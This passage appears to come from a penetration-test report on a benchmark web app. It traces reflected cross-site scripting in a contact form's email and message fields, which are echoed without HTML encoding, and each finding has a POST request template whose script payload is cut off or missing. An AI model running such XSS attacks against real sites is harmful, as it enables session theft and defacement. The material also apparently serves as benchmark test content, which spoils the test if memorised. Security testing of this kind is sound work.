71: - ↓ [NO htmlspecialchars() ENCODING] -OUTPUT: Reflected XSS in HTML attribute context -``` - -**Exploitation:** -``` -POST /contact.php -name=John -email="> -message=test -``` - -#### SOURCE #4: Contact Form Message Field - -**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/contact.php:76` - -**Severity:** **HIGH** - -**Data Flow:** -``` -USER INPUT: $_POST['message'] - ↓ -Line 23: Check if empty(trim($_POST["message"])) -Line 26: $message = trim($_POST["message"]); - ↓ [ONLY WHITESPACE TRIMMING] -Line 76: - ↓ [NO htmlspecialchars() ENCODING] -OUTPUT: Reflected XSS in HTML element content context -``` - -**Exploitation:** -``` -POST /contact.php -name=John -email=test@test.com -message=